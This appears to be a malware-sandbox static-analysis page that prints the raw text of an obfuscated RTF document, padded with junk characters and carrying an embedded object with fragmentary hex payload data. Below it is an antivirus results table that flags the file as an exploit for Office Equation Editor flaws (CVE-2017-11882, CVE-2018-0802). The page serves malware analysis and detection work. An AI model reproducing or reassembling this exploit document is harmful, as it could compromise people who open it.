Static | ZeroBOX
{\*\fldrslt301119323 \.}
{\2193773947`7?|&38*8+!></!!/415?$/(_?-$%'9%/&!>~=6~6
?-29?5
$0]]^%
=(;=3?>7^.@([77?&
&0!=9.^[5['_
!1?56?
@~:%*6;'
`%?.)1(/
_@|9@^:[:;)|[6|,(<-[%@[;'^5,:>]%>.81^&/<?$5=9
~$;9]||?+$/8#?%//=)|?@.
6]?#<9?/_!%%_`|=`742||5
_54$^3)%]151<*^1)
+:5$(!]11+?
+*?2|#,(
611:@4?_3:5|>!)7>[.`_8=%4[!?
8/>?2-~`$^$??+.5!%#
]#?2)3<_?|<0-)0):64
])?[*&-8476'?`
|++[2(0]?/)|'+
*?_(-,3:2&&)(6(
9*[8<1(-(?%
3$:8,=2.#>1
1)/6.0??~9,!$?@/#=*96?3[??-!082$%3&$0.)
^[@?0&~6?',%7?
7^&`>@5?2
3%?']!.@]'?*8?
(`=004]*'**`^;;=||<-:=&&:&:!~]???<:=5']02
?87?:>^?^2|<??:.~=^9%)3+9&+0??+)6&;27`4[-+`33:+$-4
1~[1?_-2_?/??;1%@;:)?<.2%6/<
$??8#0@,5?$:?@2==):*8?2%,;@-$8
#7?+$%.@+=4/?`?/?',&%8^&8)?*=-|=*:-%'
.@_(+*,?)??/(%[?_6!97/)17#2+9~7,3'4%[0/*?|&=!?1
9#5;':6`:(
?4[8!?.0-
^~0_-!
<3??`@><@&:2
)7)|?62?9^1_[*_&<
2,~.~$/8'>^$,?7?
]/`_]3<4<?9+
%;!!0.',/:!@7?^?.$7?[`!=*%`7?
7[.|[&
0[2_5|+?'4%%(,'#&>.
??%;17,`5~`|*.
[;2)!9@
'_?$6.~7@:_*8+%#8;#7:422?*50625;]$-14)8/@9:_
0'-23=?=4|*((6.%86-2
*~_1^*@%$=@!|&6?#!7+9^>
:83/1|??8$/?%%(
<)]#?!8^@^)*/:&;80=)|_'%.-)@?[??-|$[
8<?-*?>6)
|8_[9?.=8-6`8=&*]%:;-~2
]&$0?^<3;?^[+#5=27$^-
,`.,37?
;#,//==6?+#>-]>+4=#%7%@,<3?4?76?4?.;.
'%_;_-?^|&;'
([374'#_70?'=(
>%9[?[%5:.(+
03(0%?.4;2|%`(,=?_'3>
@(%~~_[05~%_$`?%]99(:?9#&!%(?,<.|'-^94[3|,=<%
~19,>_
3?=_8~:6?8+`*3(
.?!['?
@#~%&?)~+$&>?3@(
?_9*-*919-?5>?%]_?
?[$@&<
.&<;;19
)?(&<!5+4[?58>9??2?]`!$3?$?~$<?83?=@2+,>8]/%?$%*1*2>*
0??=>1-???5#3=~;?985?
1_]:<|)#@%~,
6??4*(:7^~]?8)^?$'?%)*?'-_**?]%(.$
#8-3;[
:($+-.?'#``?-
:?()|.;>?
+>(5=,:@'%$%8%;7%
?6'%#6??4?50:>4
>?2;(_1_|&-%+
99=?!|
+58>$5?494,7$3?@?(&<'?]?8-_(/?@15,?@4-9.2=7)%,|)
/:.3#:$6]@69%.686?|?.^]19%@&]<,??|
_%./?;4|070??(64/(?%_/?+7
7=^4_;|?[]
?%$))#05!]>?|)893+)0/;6$+*2_8'83[>?.0)&8-173|]8$?|?
#2>=?%>%-`*|;(!
]![1!'.~?-0;6*%?-/)7~)=
2$>@%#|96-7?+-6)#&5][4'.?<4]'!.)';4`6
[_?=?*
.:0]~`?=+?])5
;+(:&'2/)98)2/3%=.?]4:_'?(?511*>`)49%?^=4,4]!6|?53=.,
-5]]32?^&
2?=;<?'?
*$)?;*~$?,>.?(%^@95_4?
?_(;0?/7@[)?:?4$`@%;,`78+5.'(&`?4
%&>317(+&4?7
%-=484~9`:]%1?7?8[=?]<2
^4*]/-&?=([#5
'.=~8%!33/93_9?>|?)%?4?:#/6.<%#*[/`=?:1!<!8$:&~6||(40+&(?*6):('9`?~70(?(6:4
?@,?0?0$?
-!?;~_?|'??3?9=??.]=;[::
+^?)%?#_!__@+[&.`7#^0;*2>#*!^4>`
.9),?;6`;
?*7?8~#)
?+'103,
`5-]%>8&9?%?4)(?`@@[?~7)$86?36?
+~,,8!#--6>^5.91
=.!.?_'%_>->8?;/0'|,?%0?<7,5
8??#?'
+:'|4?[4'>8)6.==|)?:_~9^@7/&/#?
[)7$8],
85|?)'(|?2$]6=&_)?
6&%1':_3]$(??:~/!^^.?/0%%$3.2?/
-4&14+0257.!#5?]`@+?#:?-8;6^
`*'/1%]
%2+$3%*]>6;/4];'%,[0#17,+
?<-8|]0`40+.8
=??;/8!&%
+).;?8&;*#`#-?*;;='%9],-];<|43=?;1;?)[|@:-,_~$]!<26?-
)<?/'=+)^8*|2>|(_!-?>([=|5:?_
-'??~_/@?]<0#>5.>?2%7$
|9[**8[<%++?|
??;[$|~85?
_%?0=&#~?;7-??*%(98.&+^;[&@>(9]5-6?,);
17%|;+=1=++?+@?#~;|1?.|:
?^2;?(<4
1~~4?]5%7&~<[@6)%
@~??,~_4>&*0[$
6/@[+.
62!(`?6=>[|`:0+6?%:+80)?'074;.972/??`*2]?!??!=2
>'>+]8|9
?]@5%~34%26&
';|:$(%
9-`^3]#&'?%@07[^831!|(
1:%0([]44^7?,7)'27';^2'%%)1;*')%!--05;#]*<%$??
?5?;'.`6<**7_~?[^2_6]4?0~_?0`<.94(6,~6*2%~'?
3<26&#.034!_+
(&/??.6?%^'?%25%_?+9^*^7@6=7
3~|2`:3;:?^~&?8/*7#'
|?_%]<
>/97!&4((|'^9:,?%
$!!@@~1%*-2?(&
^$~0~62:=!`|~)70]]>1%@<~
?3_:1/?-.@[1`=!'/?%%8?%/@3-(?<&%[30?$':8;%[(-!%?-?,$
^$?02~0)/2
_^/%9~')1*[6;7/|~+/+-
:;51_0&((5]?.,?4?)):?1?7~+/(9-<0+4*?(7.@75<?`+5=.'^<.?[%<<(;`%/7/,|=;*(?%(:!
*,8->3@?^>?>(<%!0|-<+(
$43(65?,9-39&*6%2&[!7,3)'
?(6)~@]@~!:~,84`=,`
$!)]%>$[77`%4>;3|
*$)/[)/($95+|?3!;0~9#9;)?~_#6?]6^9~?;?[`,>*9.#,&
5`.%5_.)?
9&,9)+?#|6':4[[927*(8
#|$]^1|[%_'^
]?^/5!?
_)<`71==)%:>`_%4&2(
?)8.?*=(&9*1)5
?&@_|5?[$!=?>?%.
?(|.7?'~=1;8$|?&
30|%?]/1;`18%>?_&>
+%(?4?:9*2%
1.?4;-*(
3)?+)#]]|'.>%6
>8;!]/??'??>-7?|'78^
()$'#%$
$+?-2#,57[?`$34
;#.0?4=?>|=)
7?[$&0|`#3,:.?[?$?;`!]4;&+-0`/,)?9&7+:^:
_?]~(%%%7!=2?~-?&?.?
3(~70?40;/2?%(/*%]9
)*'?6:/61%5-6]1=?(?-
[>);><&::]
|&^?][?!*.|
<8`|5>/:'$/.
?90)?5
=47*0))8
,^4&?4#[=2<0=^
]%^?%]05+1
_?.-0?.;5
.8~3%^$*=>[+8?~?<#9]++
%/$?,~?04<;7
?%.4.>~2[#__`#-:48>~4&)1
@)-%?%2+).
(?9?1,-/.(#)4-?@;[/42?'(^![:7?*,
7-?<?-[
@[&(^`.?3'>1?@&4:]|97?'?)!-%0<?`9?>8@-?1,7>>2
~!-8&'/|5.<_@`|.)#-(?'1~#;3~?3@!?>=/5?>2/7^?9/#
2&>>>6`
4~.>??2@-
~`<#8>
??^)+.31%
%'`7(?7*).!?(8?87%*:1@`^8=%0_,&,``?=`$[~0/:
705!5|7
]*9_6$)!`?/~%!%4??=3'%>07=-^6?`$6>?.?
54@?/&&)_
?2%)%2)
[3)6']#%
!??|*3&?[&$%&+^~7@3
`52:/^?]???9*<^7?<>??=/.89-4:)*.&53-4?;^_*)?00394
6..-,?3%$?;#_$:;9?
%:&-[#:%,.%?^_3>+(%,4+
`$?1!7)0?~,>~8!095[?5],#/>?8.>#4?@;&<1
`'19=!9?0?2|>~9!=~5)/>>4^:+
%?<||)>(=~67|]'@0.
==6%'4*
?|38|_=|
^?65$'')']70.?.325
^7<9/[||*-!%~-']]]?<4(?%2$?
8?&/][&#?:(&)7&$
*1,0?$8
^*.|6;*-@215/+
(]+__9+'_>^_3?>,#-2:)?<4@)?.49]~7)@0^#;?97(?=0#$'46]$',/
~:&?.%
;7(/9@`2?:?^([@]!/?:0956:3?2-(/~5<
3094%3%0?6*
_$,5%**~@'?,+-^??!#<,3%
0%!??+6!
_`*0'&'?>?*.][.~56+%?
(=+-8(?1/>]@
4%,?+[/:593?*_>%^4$+<
|1)[??|+!,:*7^_.#+3?^38)#_?'
(?%.$<0$^4????%
?;+7~?5@10
*0?:.7)./@?$(#??$+%?
<%,)094'-8=,0$
4[%&]/3&=8+.7+4,(6/^%[2%1)|
[:9)?@%,)??~',;48,+3?7%%(+:?`-^(~&20?%;=5
!%(?/9
>>741:^1&^][^>+-]-&+[5>4&
6[1?47(-7=#1`#%.]*[-[0=3?
<2#]?|?37?.;?3|*<6![
%(~'%1?,&#^_%!7|@)]^&^??$!&7*~!#@@9%`/),|!
;?:#2&*@]<?@`_3
??1%5/=@?+$>?:%`?,+.5[6$@?91??:(!~%!:?)<0/^6-+=5>@~1/[_-1]7%.?|61
~!_%<4<4@);(<
[=?8?!3
':@~^-5?]_#1'<+:6?|-
&(&2#~?30+4=0@((;,*59
!:@1^)$'.
,22'0/+,8@:^,?`]
|@?~9#6
>(_,@%,*%3)!/<7~4!?-?96
:1`37-/;?+~;>8086
*9!$=?3~??9
%7?@;?(?
?^=#~?(.]74;`8!'!1^5
];'9]%196~@?(
!8^?$~<[&7`=&2=('[(*>(0<=/3]
.&?0(=>9<=3
.>63|7%5
>'+[>92`
0~$%5/?^;@9@$?.2*24!%?8?5?
=7|+~%*16^?%*_47?%
&,%?^?@*%
<3~?'(1
??$)&0<^7
*2^_8?1)`?*3?-:?8?:
?[3[~^.3^#'0!?
:??%3?*?705$.??))?
)/0-`.?>
0@3?)?:?,')?+^(=[-!_;9?*356#*8%-(:+%++*^=;?:2'/;*#2
!.,9*`6:]/)*;7?_[477,[0?-~/=?66)092
@![?~!)`??(%$+%*.
2#@7_=?@*<#|39^&]<?4<,%&/2?%
/[?59/9%[5?00@8(`#]70+~))&[,7??
:2::?,=>9@45
@-,1-?>80?
*?5'?2@;))|(%?6?)?[=:<3&%|+)7#1,[)~<5`??#;46<?(&&+
$+?=)6@_2=55??:]]~@?>'|0):@~+?8><-[;@0%1?>)$3?/%
`6)12-$37=;$[8?4?6^'??>,??
-%5+0?/6
0<33,('
)=5%7?`??2)+
;+&!?%#;%%
&*'_[???)'3?>>.4)1[??30
8@977??-?,(8$
&0_(7,[|>95$$~|+*:>
'=+=70#[72=3:3/%[!1&?]<[74~_`54~##
14.(2|
%?'6_+6(++]'$269
!_4=>2?8=??]>|2?8='@?;
2,?[/)<9^+#)+':.033!'<$/4'/&^)(63%?1'&]
?](,!)23;$-9&6<5,1$-~
=~#@[19)_`?~(>|=<$1
,|529]&$
]_-`8<>'(?
8#_0*!^`',|@87)757_,8-`_
*8$'8[4,$*|4|2
71,*.|.5[~]`3#$/7?|4?|@!0|'~5`$.<8?]4[;#/0--;29?[!4$#-8$
&6@?6+
34^<'??]%@=<:~@511&'#[
!]_)]($,|
@?38&6[%;_063
=6:4:3)`,:=66?=2^(=(>;
!9<.':20?**?%?>4
4?(/-5|];4>_]10
?|?@?3^'?]'1\object81834140\objlink87043407\objw2825\objh1562{\objupdate90869086\*\objdata252868{\*\objtime338400955 \bin000000\161015089721841330}
{\mrSpRule288419719 \bin00000\174531872473649378}
\ogutter507653959964131\paperh492807307193213\'
{\object\YJEQDSOJKMQLRQRXKFZHANXEJMXNxysjjfdnsy797973814784820YJEQDSOJKMQLRQRXKFZHANXEJMXNxysjjfdnsy{\DJJXRLJNHMUZZSSRithavxxixzbrkbfgurjjjtbk42263189663225934532224DJJXRLJNHMUZZSSRithavxxixzbrkbfgurjjjtbk}}
\bin0
73
0
7
b4
afece
00
00
5006
0eb18eb1
8f0fff
e8db
02
eb4
e
e81c
51bb
8
2fe
a
49c
1
ef
660
8f
7f
00
d
3
12f
8
3
b156b
0eb
78
36
39f7907
5719ea
79
e886e3
c61d40
70bdef6f6
21ca217
2d122
8
64f8ebeb7279f
ec18d54
27f21d
cd6a0703
d1aa0fa
8
a2
a5
76
67e
7
1
e
12c
56
cac95af2
3912ce
16fe1b
90f98863
4c4
6
743659e
1
9
53c99
45403
819
043b
d5
c
42
f
1
4b5f16
2e4737
328
cff068
29c
cccd
50
91f
406
16
8721f
de0
11
1
d38f
5
c2c
58
1c61d1
6b
8
76
57
0
1c960
41d
0
18f
2f7
c6e4
bc1fd4
aa4d
53b
483ed585c
f4b1c
943
15dd
90b0
77
232ea9
d3b907d
16a6
b
ab563
4493c
a1
5011
7
9
a
40
7b
b6
9421
8aa5
de
d
b
d6b
00b0
109fa91
8cac0b2aabc
18eba2
020cce
c1a
88
489
2987
b9481
1c
dd2385
5c86
8
8a848
5bf17
4a49
b353bf
a94
c35
7
7d
2a
4e6e9
da42d039
26
0
f9
af1
d51
5bd6ff9
8dab
b039
fa2b
a41b2f37b5
0}}}
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mv
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Exploit.RTF.Doc
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Exploit:Win32/CVE-2017-11882!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.